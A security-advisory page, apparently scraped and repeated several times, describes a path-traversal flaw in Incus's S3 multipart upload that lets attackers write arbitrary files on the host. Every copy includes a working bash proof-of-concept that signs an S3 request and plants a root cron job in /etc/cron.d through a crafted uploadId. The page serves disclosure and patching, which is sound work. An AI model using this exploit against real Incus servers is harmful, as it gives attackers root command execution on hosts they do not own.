## Summary The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33 ## PoC ### Setup ``` # Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials ``` ### Exploitation The below script was mostly generated. ``` #!/usr/bin/env bash set -euo pipefail if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}" region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' " uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs" amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date" canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date $signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash" hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 } k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}" printf '# body:\n%s' "${body}" curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}" ``` ## Impact Arbitrary file write on the host. Possibly leading to arbitrary command execution.
## Summary The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33 ## PoC ### Setup ``` # Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials ``` ### Exploitation The below script was mostly generated. ``` #!/usr/bin/env bash set -euo pipefail if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}" region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' " uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs" amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date" canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date $signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash" hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 } k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}" printf '# body:\n%s' "${body}" curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}" ``` ## Impact Arbitrary file write on the host. Possibly leading to arbitrary command execution.
Update github.com/lxc/incus/v7/cmd/incusd to 7.1.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanIncus has an arbitrary file write via path traversal in S3 multipart upload affects github.com/lxc/incus/v7/cmd/incusd (go). Severity is critical. ## Summary The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33 ## PoC ### Setup ``` # Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials ``` ### Exploitation The below script was mostly generated. ``` #!/usr/bin/env bash set -euo pipefail if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}" region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' " uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs" amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date" canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date $signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash" hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 } k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}" printf '# body:\n%s' "${body}" curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}" ``` ## Impact Arbitrary file write on the host. Possibly leading to arbitrary command execution.
AI coding agents often install or upgrade packages automatically in go. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/lxc/incus/v7/cmd/incusdgo | <7.1.0 | 7.1.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/lxc/incus/v7/cmd/incusd to 7.1.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanIncus has an arbitrary file write via path traversal in S3 multipart upload affects github.com/lxc/incus/v7/cmd/incusd (go). Severity is critical. ## Summary The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33 ## PoC ### Setup ``` # Expose the S3 API and create a bucket incus config set core.storage_buckets_address=:8555 incus storage volume create default bucket #> note the credentials ``` ### Exploitation The below script was mostly generated. ``` #!/usr/bin/env bash set -euo pipefail if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}" region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' " uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs" amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date" canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date $signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash" hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 } k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}" printf '# body:\n%s' "${body}" curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}" ``` ## Impact Arbitrary file write on the host. Possibly leading to arbitrary command execution.
AI coding agents often install or upgrade packages automatically in go. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/lxc/incus/v7/cmd/incusdgo | <7.1.0 | 7.1.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard